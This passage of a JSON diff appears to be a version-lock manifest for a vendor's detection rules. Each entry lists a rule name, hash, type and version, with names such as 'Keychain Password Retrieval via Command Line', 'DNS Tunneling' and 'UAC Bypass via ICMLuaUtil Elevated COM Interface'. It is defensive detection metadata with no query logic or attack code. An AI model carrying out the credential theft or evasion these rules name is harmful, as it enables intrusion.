"d6726a1a5d3a598df105d959b2d8d7b02e10a98c4e8c5f0f47e124bb5d1fab62", + "type": "query", + "version": 6 + }, + "67a9beba-830d-4035-bfe8-40b7e28f8ac4": { + "rule_name": "SMTP to the Internet", + "sha256": "38ddd772b9bc49726619cf527ed48d8871a0611ca88d76d03054c6702456d14d", + "type": "query", + "version": 8 + }, + "68113fdc-3105-4cdd-85bb-e643c416ef0b": { + "rule_name": "Query Registry via reg.exe", + "sha256": "5752b998b95537fedce81850330b693ee3cb9f030b36bf07dba1da9107bd68d9", + "type": "eql", + "version": 3 + }, + "6839c821-011d-43bd-bd5b-acff00257226": { + "min_stack_version": "7.13.0", + "rule_name": "Image File Execution Options Injection", + "sha256": "6f3da8f7ad3053933ead97d9f24027defb33edf3e295ff028bd18a9028833dda", + "type": "eql", + "version": 5 + }, + "684554fc-0777-47ce-8c9b-3d01f198d7f8": { + "rule_name": "New or Modified Federation Domain", + "sha256": "a7b96a488a076900caca95e6820769a0f0d3d8a4d0d6cda8e543408c1f94f6c8", + "type": "query", + "version": 2 + }, + "6885d2ae-e008-4762-b98a-e8e1cd3a81e9": { + "rule_name": "Threat Detected by Okta ThreatInsight", + "sha256": "0f9bfed2053b99795b40e69a51bfdca388143a9a3a4ac6ecccff16c81657acc0", + "type": "query", + "version": 6 + }, + "68921d85-d0dc-48b3-865f-43291ca2c4f2": { + "rule_name": "Persistence via TelemetryController Scheduled Task Hijack", + "sha256": "5195503f06d8b358e209d9caebe4d1cfbc94be351590cb60646160fbab60f0a9", + "type": "eql", + "version": 6 + }, + "68994a6c-c7ba-4e82-b476-26a26877adf6": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Google Workspace Admin Role Assigned to a User", + "sha256": "a9e5fed2c237cba481fd05a38576032d3cddf5a3b67341030a4a77725c478b22", + "type": "query", + "version": 7 + } + }, + "rule_name": "Google Workspace Admin Role Assigned to a User", + "sha256": "afd34ab4f1d7e038c874333fd83de248c0b54d625f489e74359f3ce4ec9ac71b", + "type": "query", + "version": 8 + }, + "689b9d57-e4d5-4357-ad17-9c334609d79a": { + "rule_name": "Scheduled Task Created by a Windows Script", + "sha256": "e36b6e5cdc71883b3829db49b0ec46d102f02be1c7afb892e4b2a95c72a8b5fa", + "type": "eql", + "version": 5 + }, + "68a7a5a5-a2fc-4a76-ba9f-26849de881b4": { + "rule_name": "AWS CloudWatch Log Group Deletion", + "sha256": "fde09756526a918a6e12316e4a86f8771eb5269f2b2caf1d407e0a5802d872b7", + "type": "query", + "version": 7 + }, + "68d56fdc-7ffa-4419-8e95-81641bd6f845": { + "rule_name": "UAC Bypass via ICMLuaUtil Elevated COM Interface", + "sha256": "b5812117895d475376f16cb41ebfb385fdbec5034340b59f60e3dcdf71bc0a6d", + "type": "eql", + "version": 4 + }, + "699e9fdb-b77c-4c01-995c-1c15019b9c43": { + "min_stack_version": "8.0", + "rule_name": "Threat Intel Filebeat Module (v8.x) Indicator Match", + "sha256": "1c84ee3520f02156a2dd650dff1c95cccd1852054ed6f7ca59a4ce9d278c9832", + "type": "threat_match", + "version": 3 + }, + "69c251fb-a5d6-4035-b5ec-40438bd829ff": { + "rule_name": "Modification of Boot Configuration", + "sha256": "22d2bd68a5cc0620132227498ac239156162cfc2774f84b41d0ed7c5733f71fe", + "type": "eql", + "version": 9 + }, + "69c420e8-6c9e-4d28-86c0-8a2be2d1e78c": { + "rule_name": "AWS IAM Password Recovery Requested", + "sha256": "1429ae42606ee0f1531dd13daed17012855d148d9e0c9c714095e01dcae486e7", + "type": "query", + "version": 5 + }, + "6a8ab9cc-4023-4d17-b5df-1a3e16882ce7": { + "rule_name": "Unusual Service Host Child Process - Childless Service", + "sha256": "79553b3a40acce22ecd91c9946948f0e588df04e533323c192d8e41ded8b499f", + "type": "eql", + "version": 3 + }, + "6aace640-e631-4870-ba8e-5fdda09325db": { + "rule_name": "Exporting Exchange Mailbox via PowerShell", + "sha256": "1ba40e93a9dd9329c966e27d0d95d4f4629eda849b5480dcacf1c03f0fe4a350", + "type": "eql", + "version": 6 + }, + "6b84d470-9036-4cc0-a27c-6d90bbfe81ab": { + "rule_name": "Sensitive Files Compression", + "sha256": "3d1a0bee2d79c035a599faffc03e74e4b4699b39dbb4418068b003eb6136050c", + "type": "query", + "version": 1 + }, + "6cd1779c-560f-4b68-a8f1-11009b27fe63": { + "rule_name": "Microsoft Exchange Server UM Writing Suspicious Files", + "sha256": "578607308f1b76a89e24e98c1a2b553b5455443931198123c558adae551bccf9", + "type": "eql", + "version": 2 + }, + "6d448b96-c922-4adb-b51c-b767f1ea5b76": { + "rule_name": "Unusual Process For a Windows Host", + "sha256": "cf57ba8d293696a2da6468acbd3af10bfc461d24f0283c80e614ec4266fe3f52", + "type": "machine_learning", + "version": 9 + }, + "6e40d56f-5c0e-4ac6-aece-bee96645b172": { + "rule_name": "Anomalous Process For a Windows Population", + "sha256": "265db12570310439b937bb99bc1a58f1e6ad99c7bc17a2fcde50e05cf11b03bd", + "type": "machine_learning", + "version": 7 + }, + "6e9130a5-9be6-48e5-943a-9628bfc74b18": { + "rule_name": "AdminSDHolder Backdoor", + "sha256": "5e649f8e7810090f97354f1b0425628afc6c2d3308751967e5fca172eb679b7f", + "type": "query", + "version": 1 + }, + "6e9b351e-a531-4bdc-b73e-7034d6eed7ff": { + "rule_name": "Enumeration of Users or Groups via Built-in Commands", + "sha256": "fa4544dbc92b6766522593e44bb10e0036b4824f8d70f381698fc38d56a08aa3", + "type": "eql", + "version": 2 + }, + "6ea41894-66c3-4df7-ad6b-2c5074eb3df8": { + "rule_name": "Potential Windows Error Manager Masquerading", + "sha256": "f7c950372b5e9243c9d6de8b572a1f564290aa2b0f790831d501d5b3a2b460b0", + "type": "eql", + "version": 4 + }, + "6ea55c81-e2ba-42f2-a134-bccf857ba922": { + "rule_name": "Security Software Discovery using WMIC", + "sha256": "b36abb97dfae934d532a0ad8bae5eb1ad848b7862a3fd0e9a35f108c528b905b", + "type": "eql", + "version": 4 + }, + "6ea71ff0-9e95-475b-9506-2580d1ce6154": { + "rule_name": "DNS Activity to the Internet", + "sha256": "2b8ee3ad95436f33ac0289f2bbc2af3b6582974ac3f7eeb4c557d00df664f622", + "type": "query", + "version": 12 + }, + "6f1500bc-62d7-4eb9-8601-7485e87da2f4": { + "rule_name": "SSH (Secure Shell) to the Internet", + "sha256": "ccd5c6ae27b2cc637f6bbb39e5d6b025d56dc2c81975d697ada670a54ce65ef5", + "type": "query", + "version": 8 + }, + "6f435062-b7fc-4af9-acea-5b1ead65c5a5": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Google Workspace Role Modified", + "sha256": "4776d80c0d1069ed8363242d7b09b4934c3efc58c9db2b87fb5045eda98284e1", + "type": "query", + "version": 7 + } + }, + "rule_name": "Google Workspace Role Modified", + "sha256": "33a6f2e64d79ebfed4fe0f1b4e5c4a7968b9b4941e11fa0cf720ef3810e38a15", + "type": "query", + "version": 8 + }, + "7024e2a0-315d-4334-bb1a-441c593e16ab": { + "rule_name": "AWS CloudTrail Log Deleted", + "sha256": "6897e1e8f7b9944fbeb558e0232b7a6cff15c0e14bf002b9bd4699a4350468c6", + "type": "query", + "version": 7 + }, + "7024e2a0-315d-4334-bb1a-552d604f27bc": { + "rule_name": "AWS Config Service Tampering", + "sha256": "8e5473155c744a9d9579c9fde809857339d28ed1969699c8087d623f3be4eee7", + "type": "query", + "version": 6 + }, + "70d12c9c-0dbd-4a1a-bc44-1467502c9cf6": { + "rule_name": "Persistence via WMI Standard Registry Provider", + "sha256": "595a864d26763ad72e78a54831b8e6740f1bd90566b5a450046c0ed8824b9e6e", + "type": "eql", + "version": 2 + }, + "70fa1af4-27fd-4f26-bd03-50b6af6b9e24": { + "rule_name": "Attempt to Unload Elastic Endpoint Security Kernel Extension", + "sha256": "3e2fb37fef273486c5032188c9b3bd7baeeeca83a4b49ebb212f95ad0e1451f9", + "type": "query", + "version": 1 + }, + "717f82c2-7741-4f9b-85b8-d06aeb853f4f": { + "rule_name": "Modification of Dynamic Linker Preload Shared Object", + "sha256": "fe4e4318876cf618a1e21bd9cf33c5e2df2b85efd5b8e7801d31ebdabf213df6", + "type": "query", + "version": 2 + }, + "71bccb61-e19b-452f-b104-79a60e546a95": { + "rule_name": "Unusual File Creation - Alternate Data Stream", + "sha256": "eb2d6bdc651c4d7654fc996bcd8b7238f06ac89c28e7cb8a2e198397e9b3dcc8", + "type": "eql", + "version": 1 + }, + "71c5cb27-eca5-4151-bb47-64bc3f883270": { + "rule_name": "Suspicious RDP ActiveX Client Loaded", + "sha256": "d6f547243894063d94c8152b6485b57855368f0f9288e9d97e4f9e622f1b7e44", + "type": "eql", + "version": 3 + }, + "721999d0-7ab2-44bf-b328-6e63367b9b29": { + "rule_name": "Microsoft 365 Potential ransomware activity", + "sha256": "c2f7bf9712e7b52b568aa4ff657e6cb033c602ea071e2fcfcc37247605f999e0", + "type": "query", + "version": 3 + }, + "729aa18d-06a6-41c7-b175-b65b739b1181": { + "rule_name": "Attempt to Reset MFA Factors for an Okta User Account", + "sha256": "39f2ea0432ed3122a7a0d35999c6c5e031af504f3cb039cce854a4dbbf267128", + "type": "query", + "version": 6 + }, + "7405ddf1-6c8e-41ce-818f-48bea6bcaed8": { + "rule_name": "Potential Modification of Accessibility Binaries", + "sha256": "ba040e94b982f1b9f417b04f1575ccc06418083b121e165cc9fcfc1013cb291e", + "type": "eql", + "version": 7 + }, + "7453e19e-3dbf-4e4e-9ae0-33d6c6ed15e1": { + "rule_name": "Modification of Environment Variable via Launchctl", + "sha256": "b9eee6e8e6eb2c238952d35b40ebd2ef4d70e4a462e513ac0bf3f939a447c986", + "type": "query", + "version": 2 + }, + "745b0119-0560-43ba-860a-7235dd8cee8d": { + "min_stack_version": "7.14.0", + "rule_name": "Unusual Hour for a User to Logon", + "sha256": "cfc6d020a4aff760e43c4f33a76f8e3f56c9aca58b2199c4c498bb3f6f966b42", + "type": "machine_learning", + "version": 1 + }, + "746edc4c-c54c-49c6-97a1-651223819448": { + "rule_name": "Unusual DNS Activity", + "sha256": "af51bdc27c86e87d19b50f0daa04da3c6df9a80227f61e73e44e86db37f30006", + "type": "machine_learning", + "version": 4 + }, + "75ee75d8-c180-481c-ba88-ee50129a6aef": { + "rule_name": "Web Application Suspicious Activity: Unauthorized Method", + "sha256": "7d4448c4595f5cf1ecdfcfde84e6c0bd302004eb1a71c73591e3e339532195e6", + "type": "query", + "version": 8 + }, + "76152ca1-71d0-4003-9e37-0983e12832da": { + "rule_name": "Potential Privilege Escalation via Sudoers File Modification", + "sha256": "244f9ef115052b03ab17b53de02594d6fb2a47a66970b7f34db63659f0d9ea3f", + "type": "query", + "version": 1 + }, + "76ddb638-abf7-42d5-be22-4a70b0bf7241": { + "rule_name": "Privilege Escalation via Rogue Named Pipe Impersonation", + "sha256": "e2370178900d74daa4cadcb8b42f646efd2ea3f2c73c59f9638366f249e0c5b9", + "type": "eql", + "version": 1 + }, + "76fd43b7-3480-4dd9-8ad7-8bd36bfad92f": { + "rule_name": "Potential Remote Desktop Tunneling Detected", + "sha256": "fcd8c3219898d5276945fcee501c6a589d1e17e99b96a7360a30c6d982f3c614", + "type": "eql", + "version": 4 + }, + "770e0c4d-b998-41e5-a62e-c7901fd7f470": { + "rule_name": "Enumeration Command Spawned via WMIPrvSE", + "sha256": "05939d1b48b1975cfbe6e80623d1c4d942fffa7f68577f3e05f541d61a5eba9b", + "type": "eql", + "version": 2 + }, + "774f5e28-7b75-4a58-b94e-41bf060fdd86": { + "rule_name": "User Added as Owner for Azure Application", + "sha256": "db73c1cae414a7e328d7bd8022798a8643bc9e40bd45b3dfeefa437c8931b5ae", + "type": "query", + "version": 5 + }, + "77a3c3df-8ec4-4da4-b758-878f551dee69": { + "rule_name": "Adversary Behavior - Detected - Elastic Endgame", + "sha256": "5380f574b8e648c558fa34254366c5e53eed6065c9b0c722b1c458ac26b01ce3", + "type": "query", + "version": 7 + }, + "785a404b-75aa-4ffd-8be5-3334a5a544dd": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Application Added to Google Workspace Domain", + "sha256": "43a87b2b542b409c6cfbe267485d8b1ba8e32e9ea553f6180b7d0362c46ea2d9", + "type": "query", + "version": 7 + } + }, + "rule_name": "Application Added to Google Workspace Domain", + "sha256": "ab5ac05b1f57b0e9a197d51506441eee921132528fde66e99b64021454556e71", + "type": "query", + "version": 8 + }, + "7882cebf-6cf1-4de3-9662-213aa13e8b80": { + "rule_name": "Azure Privilege Identity Management Role Modified", + "sha256": "84ac45e0073c5d7ef4203571ae659413ccd26eac3b505be34ee11115d25db566", + "type": "query", + "version": 5 + }, + "78d3d8d9-b476-451d-a9e0-7a5addd70670": { + "rule_name": "Spike in AWS Error Messages", + "sha256": "27c3d706d0b03424992adb2365dfc910ae1a366c39b31f6ef23bd70b93df5233", + "type": "machine_learning", + "version": 8 + }, + "792dd7a6-7e00-4a0a-8a9a-a7c24720b5ec": { + "rule_name": "Azure Key Vault Modified", + "sha256": "739693e9483eba009ac5ee8d2fd3c4da0f3637baa84dd3be947e4e455d60e0e2", + "type": "query", + "version": 5 + }, + "79f97b31-480e-4e63-a7f4-ede42bf2c6de": { + "rule_name": "Potential Shadow Credentials added to AD Object", + "sha256": "14bd23cd43ef9c08357b87dffef5a16b7f40e6ceed857515b50210876529f162", + "type": "query", + "version": 1 + }, + "7a137d76-ce3d-48e2-947d-2747796a78c0": { + "rule_name": "Network Sniffing via Tcpdump", + "sha256": "a1d61d8865b525e77420ddd2744a088b6776dae60edb6673253cd1aeba1fd426", + "type": "query", + "version": 7 + }, + "7b08314d-47a0-4b71-ae4e-16544176924f": { + "rule_name": "File and Directory Discovery", + "sha256": "565d9e046bb625807c9d552344c5097df14d3f17d12b8c23cc8ef382da27c557", + "type": "eql", + "version": 3 + }, + "7b3da11a-60a2-412e-8aa7-011e1eb9ed47": { + "rule_name": "AWS ElastiCache Security Group Created", + "sha256": "14042b6c7716c8acdb6338aed6238ce1e8422f1717bce3b4a3969a382d9b2202", + "type": "query", + "version": 2 + }, + "7b8bfc26-81d2-435e-965c-d722ee397ef1": { + "rule_name": "Windows Network Enumeration", + "sha256": "62962d4c50e13c6c3795372fdfa8275aa60f1cba7019c1083b172295130dba0e", + "type": "eql", + "version": 4 + }, + "7bcbb3ac-e533-41ad-a612-d6c3bf666aba": { + "rule_name": "Tampering of Bash Command-Line History", + "sha256": "f5d97fc723896745fc89eaf2b77608aafa7dab27702ded21ebde4a2756bafe36", + "type": "eql", + "version": 6 + }, + "7ceb2216-47dd-4e64-9433-cddc99727623": { + "rule_name": "GCP Service Account Creation", + "sha256": "442ed95d9672fab5f430323edace7c2ccf7ee203111de771abd23cd5cfbf3e58", + "type": "query", + "version": 5 + }, + "7d2c38d7-ede7-4bdf-b140-445906e6c540": { + "rule_name": "Tor Activity to the Internet", + "sha256": "a795f581489be91fab79b53ab0afee754fd43c0655cde52c08dd70983c606cb1", + "type": "query", + "version": 8 + }, + "7f370d54-c0eb-4270-ac5a-9a6020585dc6": { + "rule_name": "Suspicious WMIC XSL Script Execution", + "sha256": "5f9880c56b50fd6f10c9e092181344d89f39e264561062c8c34d2b811b766721", + "type": "eql", + "version": 3 + }, + "809b70d3-e2c3-455e-af1b-2626a5a1a276": { + "rule_name": "Unusual City For an AWS Command", + "sha256": "48ba1263524fb870cd81eaaf17abbab057a5f04d9737f5fb881fcce07d133df7", + "type": "machine_learning", + "version": 7 + }, + "80c52164-c82a-402c-9964-852533d58be1": { + "rule_name": "Process Injection - Detected - Elastic Endgame", + "sha256": "1664db594a454af4890a7ec808978fdd268088b8b9f21f3956900c607de66cd3", + "type": "query", + "version": 7 + }, + "818e23e6-2094-4f0e-8c01-22d30f3506c6": { + "rule_name": "PowerShell Script Block Logging Disabled", + "sha256": "acfba4ee9c92663a86a9a9ea8df686e2efba7ce3491930a45a946285f09ee724", + "type": "eql", + "version": 1 + }, + "81cc58f5-8062-49a2-ba84-5cc4b4d31c40": { + "rule_name": "Persistence via Kernel Module Modification", + "sha256": "6d2938fb1e03fb76895197f4565a860e7c346b8cba3ac5bc612938f6af910d86", + "type": "query", + "version": 8 + }, + "81fe9dc6-a2d7-4192-a2d8-eed98afc766a": { + "rule_name": "PowerShell Suspicious Payload Encoded and Compressed", + "sha256": "24464f1301483fc0c282bda7bcb95105795ae33fc1f9c27ebad8c2633fe03af6", + "type": "query", + "version": 2 + }, + "827f8d8f-4117-4ae4-b551-f56d54b9da6b": { + "rule_name": "Apple Scripting Execution with Administrator Privileges", + "sha256": "f77cf6a6f9ef86b2152b36bf3811485d39bf9c62dcaa02fb0df6c2233cdc8019", + "type": "eql", + "version": 1 + }, + "83a1931d-8136-46fc-b7b9-2db4f639e014": { + "rule_name": "Azure Kubernetes Pods Deleted", + "sha256": "315f0c609385f4ef62c8a23ebd01250630792d3acf1a85a78f37a594a6e1202b", + "type": "query", + "version": 3 + }, + "852c1f19-68e8-43a6-9dce-340771fe1be3": { + "min_stack_version": "7.13.0", + "rule_name": "Suspicious PowerShell Engine ImageLoad", + "sha256": "2d64484c1819eab787cf8dd38ba726a52646aeaac9cc644db872b9cbc99fb254", + "type": "eql", + "version": 4 + }, + "8623535c-1e17-44e1-aa97-7a0699c3037d": { + "rule_name": "AWS EC2 Network Access Control List Deletion", + "sha256": "5118602879dc1df7dc9f3120f7fc0d393448b861d0ad4ff3ad57e40505bd6ac6", + "type": "query", + "version": 7 + }, + "863cdf31-7fd3-41cf-a185-681237ea277b": { + "rule_name": "AWS RDS Security Group Deletion", + "sha256": "81346c952b5ea1ef59195fe979282495f1bfc0578a043e4702e30911879560d4", + "type": "query", + "version": 3 + }, + "867616ec-41e5-4edc-ada2-ab13ab45de8a": { + "rule_name": "AWS IAM Group Deletion", + "sha256": "49b5381fa47e4fbc5e74d84264a7b41d0253bd4c62d2131fce97453e885668a0", + "type": "query", + "version": 6 + }, + "870aecc0-cea4-4110-af3f-e02e9b373655": { + "rule_name": "Security Software Discovery via Grep", + "sha256": "b8282c5a925bd40137e5683f4353565a807bc6bfe47b82a52bdacf7e5c32b1ed", + "type": "eql", + "version": 2 + }, + "871ea072-1b71-4def-b016-6278b505138d": { + "rule_name": "Enumeration of Administrator Accounts", + "sha256": "2f6700f791dd256057e4282a89b038cb5296e4c8c37b48776db059141f394a7b", + "type": "eql", + "version": 4 + }, + "87594192-4539-4bc4-8543-23bc3d5bd2b4": { + "rule_name": "AWS EventBridge Rule Disabled or Deleted", + "sha256": "49529bf8713ae032ea90a2bd741304fc3073aa411d60f1731fcd86fbd75c3d47", + "type": "query", + "version": 3 + }, + "87ec6396-9ac4-4706-bcf0-2ebb22002f43": { + "rule_name": "FTP (File Transfer Protocol) Activity to the Internet", + "sha256": "b6ea4d4c77b8c1ed584826fd5828493dc1a33eee3546be3a15f540a56a9dc9f7", + "type": "query", + "version": 8 + }, + "88671231-6626-4e1b-abb7-6e361a171fbb": { + "rule_name": "Microsoft 365 Global Administrator Role Assigned", + "sha256": "4d10c98c0349b65cb88d0bd42fc5d8cc6a8e2646ec4d27f9fb79db6be9ba03dd", + "type": "query", + "version": 1 + }, + "88817a33-60d3-411f-ba79-7c905d865b2a": { + "rule_name": "Sublime Plugin or Application Script Modification", + "sha256": "d89a2f8c0e73fe51b3f8dcb1b1fdd398f5b9eb9d4277bf19ec14fd8ebd4f2237", + "type": "eql", + "version": 1 + }, + "891cb88e-441a-4c3e-be2d-120d99fe7b0d": { + "rule_name": "Suspicious WMI Image Load from MS Office", + "sha256": "e7d2a7b92e920fecc3cd298631d4945b2727effd008ed963b7179303b6f05d58", + "type": "eql", + "version": 4 + }, + "897dc6b5-b39f-432a-8d75-d3730d50c782": { + "rule_name": "Kerberos Traffic from Unusual Process", + "sha256": "01a251c96e82a87e563dfaf1263d2a3646c9323638da1fadd54993b0da087d1a", + "type": "eql", + "version": 5 + }, + "89f9a4b0-9f8f-4ee0-8823-c4751a6d6696": { + "rule_name": "Command Prompt Network Connection", + "sha256": "59a5d1e0d72c62b3fc7912a7067eaaca424cbc50b4e63c75f51fc4ffb4421007", + "type": "eql", + "version": 7 + }, + "89fa6cb7-6b53-4de2-b604-648488841ab8": { + "rule_name": "Persistence via DirectoryService Plugin Modification", + "sha256": "26e7c7e706638948c9e8b88b3e9595a11a572137460001ad4041278283dda8f4", + "type": "query", + "version": 1 + }, + "8a1b0278-0f9a-487d-96bd-d4833298e87a": { + "rule_name": "Setuid / Setgid Bit Set via chmod", + "sha256": "d97ec49f15814bfde2f3f6b0603a9cf03bc171cffb3a6004202db2c71153461c", + "type": "query", + "version": 8 + }, + "8a1d4831-3ce6-4859-9891-28931fa6101d": { + "rule_name": "Suspicious Execution from a Mounted Device", + "sha256": "e88541a1a011cfb788e031595a6452d932dfb34adde8fb0adb6a87f91abf9c1e", + "type": "eql", + "version": 1 + }, + "8a5c1e5f-ad63-481e-b53a-ef959230f7f1": { + "rule_name": "Attempt to Deactivate an Okta Network Zone", + "sha256": "39d70757faa0cbb8300bcfe88690a5ab67ac0efe7d33ac72e5975902b1e1b2a4", + "type": "query", + "version": 4 + }, + "8acb7614-1d92-4359-bfcf-478b6d9de150": { + "rule_name": "Suspicious JAVA Child Process", + "sha256": "9d7875876529960496ced859248197da593afad28edd3ffe08e5d2c0af4119ed", + "type": "eql", + "version": 3 + }, + "8b2b3a62-a598-4293-bc14-3d5fa22bb98f": { + "min_stack_version": "7.13.0", + "rule_name": "Executable File Creation with Multiple Extensions", + "sha256": "49f3873e68cd7416b2933be1ae193783473434d7ed6329f8d313f0a409453d21", + "type": "eql", + "version": 3 + }, + "8b4f0816-6a65-4630-86a6-c21c179c0d09": { + "rule_name": "Enable Host Network Discovery via Netsh", + "sha256": "ebcb01477dc704bdeee0d1db6985b13879e9151e5552f29028517978eda2b2f0", + "type": "eql", + "version": 2 + }, + "8b64d36a-1307-4b2e-a77b-a0027e4d27c8": { + "rule_name": "Azure Kubernetes Events Deleted", + "sha256": "c425a28b60e23b0d43a2b54d2fc861c42225a3bc7c2ac7f1243f7bb298784bfc", + "type": "query", + "version": 3 + }, + "8c1bdde8-4204-45c0-9e0c-c85ca3902488": { + "rule_name": "RDP (Remote Desktop Protocol) from the Internet", + "sha256": "b6d7ad4ee2f11ab3ed8aa4bcee08a462a4b3aa3790ae27abd86cee6d921e3283", + "type": "query", + "version": 11 + }, + "8c37dc0e-e3ac-4c97-8aa0-cf6a9122de45": { + "rule_name": "Unusual Child Process of dns.exe", + "sha256": "cd28b1f77b37d6e9016c24c3cbbf4d94f8cd152004e883f3986a4d9e88687b3c", + "type": "eql", + "version": 5 + }, + "8c81e506-6e82-4884-9b9a-75d3d252f967": { + "rule_name": "Potential SharpRDP Behavior", + "sha256": "307795e6c1dce173407f17f57c65d0c530dc24e20c18e78b37e93b7d5d78180b", + "type": "eql", + "version": 6 + }, + "8cb4f625-7743-4dfb-ae1b-ad92be9df7bd": { + "rule_name": "Ransomware - Detected - Elastic Endgame", + "sha256": "8fba9c51ee81de527fa5ed0c36181b73cd00b2bbab183c0e26834e693659d001", + "type": "query", + "version": 8 + }, + "8da41fc9-7735-4b24-9cc6-c78dfc9fc9c9": { + "rule_name": "Potential Privilege Escalation via PKEXEC", + "sha256": "7a56ece573a2e7340ff71758fab173b542a2d7063efece0d05078354bc3ac4c9", + "type": "eql", + "version": 1 + }, + "8ddab73b-3d15-4e5d-9413-47f05553c1d7": { + "rule_name": "Azure Automation Runbook Deleted", + "sha256": "c457f1f1b2813439401359cec7480f53b710fb09f8a3af76de317538e47377ff", + "type": "query", + "version": 5 + }, + "8f3e91c7-d791-4704-80a1-42c160d7aa27": { + "rule_name": "Potential Port Monitor or Print Processor Registration Abuse", + "sha256": "d86d494f83bb131dff1bf75fc9fa8952846c3deae9f7e3d60f8446ce5d58f19e", + "type": "eql", + "version": 2 + }, + "8f919d4b-a5af-47ca-a594-6be59cd924a4": { + "rule_name": "Incoming DCOM Lateral Movement with ShellBrowserWindow or ShellWindows", + "sha256": "174652de3ab002293cc1eadd63c13f80a580f0b8310bc45a2ac6cfda75241c3d", + "type": "eql", + "version": 5 + }, + "8fb75dda-c47a-4e34-8ecd-34facf7aad13": { + "rule_name": "GCP Service Account Deletion", + "sha256": "bb302afcbb15dc8bd5a6a79059fb4d67396737dac261262ceb6d5711021f2b9c", + "type": "query", + "version": 5 + }, + "90169566-2260-4824-b8e4-8615c3b4ed52": { + "rule_name": "Hping Process Activity", + "sha256": "e95b011bb8a3aa490e0c1725dbcb086dcbe8f993b61947c9a5c274bf5de92b83", + "type": "query", + "version": 7 + }, + "9055ece6-2689-4224-a0e0-b04881e1f8ad": { + "rule_name": "AWS RDS Cluster Deletion", + "sha256": "814bd87ddb20bb57f1d35ce8e4e8265e2a4915fc68d659aeb8d3fd6adfe68fcb", + "type": "query", + "version": 6 + }, + "9092cd6c-650f-4fa3-8a8a-28256c7489c9": { + "rule_name": "Keychain Password Retrieval via Command Line", + "sha256": "66c3b0f201fec745d9992dd9e1be815c5a7bf95a2412b6923721ec5aabc6f6cd", + "type": "eql", + "version": 2 + }, + "90e28af7-1d96-4582-bf11-9a1eff21d0e5": { + "rule_name": "Auditd Login Attempt at Forbidden Time", + "sha256": "0410b9e68a9f6e6086c24a72980f090d2a0e09ff9961adc13895613c2bb15cad", + "type": "query", + "version": 1 + }, + "9180ffdf-f3d0-4db3-bf66-7a14bcff71b8": { + "rule_name": "GCP Virtual Private Cloud Route Creation", + "sha256": "0fe0766cef30ef7f13a641148fc5a4d89c691158770233026342921f02e6b0bd", + "type": "query", + "version": 7 + }, + "91d04cd4-47a9-4334-ab14-084abe274d49": { + "rule_name": "AWS WAF Access Control List Deletion", + "sha256": "206d5aa1384191583bac19ff057f907ada6d4a79a91ee47c974487013ecd74c0", + "type": "query", + "version": 7 + }, + "91f02f01-969f-4167-8d77-07827ac4cee0": { + "rule_name": "Unusual Web User Agent", + "sha256": "3235c8a98dd7280928ad77b9fdd7d87a8189c8025c82c4fd4934cf5c4be7f067", + "type": "machine_learning", + "version": 4 + }, + "91f02f01-969f-4167-8f55-07827ac3acc9": { + "rule_name": "Unusual Web Request", + "sha256": "05cded9c521f7c1c3d294ea3bc28690cd66db94e95e1fa3e54e2e1feb518ee94", + "type": "machine_learning", + "version": 4 + }, + "91f02f01-969f-4167-8f66-07827ac3bdd9": { + "rule_name": "DNS Tunneling", + "sha256": "b15eabc6db99f314e02c8cd2d1afdd5f9b52301be4089503c91cd48a51740b98", + "type": "machine_learning", + "version": 4 + }, + "93075852-b0f5-4b8b-89c3-a226efae5726": { + "rule_name": "AWS Security Token Service (STS) AssumeRole Usage", + "sha256": "86b425a524a1db4dfc1c5ee933f99ef66307f6fba8d6070b2a27bbbfe1275316", + "type": "query", + "version": 2 + }, + "931e25a5-0f5e-4ae0-ba0d-9e94eff7e3a4": { + "rule_name": "Sudoers File Modification", + "sha256": "05ff439f67984de234a47b20f014bdbbcef5f63a6cb769333c50dc9f71995478", + "type": "query", + "version": 7 + }, + "9395fd2c-9947-4472-86ef-4aceb2f7e872": { + "rule_name": "AWS EC2 Flow Log Deletion", + "sha256": "98ebcee9a4b929baa3c37d53f589bbce227b1f2446f3f3c7c356add09b1dff31", + "type": "query", + "version": 7 + }, + "93b22c0a-06a0-4131-b830-b10d5e166ff4": { + "rule_name": "Suspicious SolarWinds Child Process", + "sha256": "23220ce15e2b4d3768918e69f4ac38f910352b9eed00044f55257c99f50c1e29", + "type": "eql", + "version": 3 + }, + "93c1ce76-494c-4f01-8167-35edfb52f7b1": { + "rule_name": "Encoded Executable Stored in the Registry", + "sha256": "1e955bf6b29adf56d2b56d5c217ced6c481af84fb549f5640325bd1d4eeebb65", + "type": "eql", + "version": 5 + }, + "93e63c3e-4154-4fc6-9f86-b411e0987bbf": { + "min_stack_version": "8.0", + "previous": { + "7.13.0": { + "rule_name": "Google Workspace Admin Role Deletion", + "sha256": "3c0f93a51365de485043e4961faba1a74302db6036510abbde8f1b0b60e4de3b", + "type": "query", + "version": 7 + } + }, + "rule_name": "Google Workspace Admin Role Deletion", + "sha256": "7f3e1672e2c15b1f4386242655493bbd483c0c30d377b65c94cadf17d5dbb100", + "type": "query", + "version": 8 + }, + "93f47b6f-5728-4004-ba00-625083b3dcb0": { + "rule_name": "Modification of Standard Authentication Module or Configuration", + "sha256": "4cff5c6b85db6da429555825630fa7972dbb0f8ac152b594c6c107ec398cc9e3", + "type": "query", + "version": 2 + }, + "954ee7c8-5437-49ae-b2d6-2960883898e9": { + "rule_name": "Remote Scheduled Task Creation", + "sha256": "26cfaadd55aa2fc9557f5080015fe75330c144123bae3e90a76582d2114f2690", + "type": "eql", + "version": 7 + }, + "959a7353-1129-4aa7-9084-30746b256a70": { + "rule_name": "PowerShell Suspicious Script with Screenshot Capabilities", + "sha256": "a9d0adef2ea58481a1500782645964ae1514d39bec94471128be69c318e49ab4", + "type": "query", + "version": 2 + }, + "96b9f4ea-0e8c-435b-8d53-2096e75fcac5": { + "rule_name": "Attempt to Create Okta API Token", + "sha256": "76e2c506c37e0ba6f11d046b0a7f98af64d20481efd5758e86f0adee37c6c80a", + "type": "query", + "version": 6 + }, + "96e90768-c3b7-4df6-b5d9-6237f8bc36a8": { + "rule_name": "Access to Keychain Credentials Directories", + "sha256": "35502f33157c641cfe6e83113f9301c7c9fbf8b4732eec46a13c0eb77b6df58c", + "type": "eql", + "version": 5 + }, + "97314185-2568-4561-ae81-f3e480e5e695": { + "rule_name": "Microsoft 365 Exchange Anti-Phish Rule Modification", + "sha256": "a665ef9f68409a2e93c611f82010ce20c46eaad3789062f5a6ddc85f3c522981", + "type": 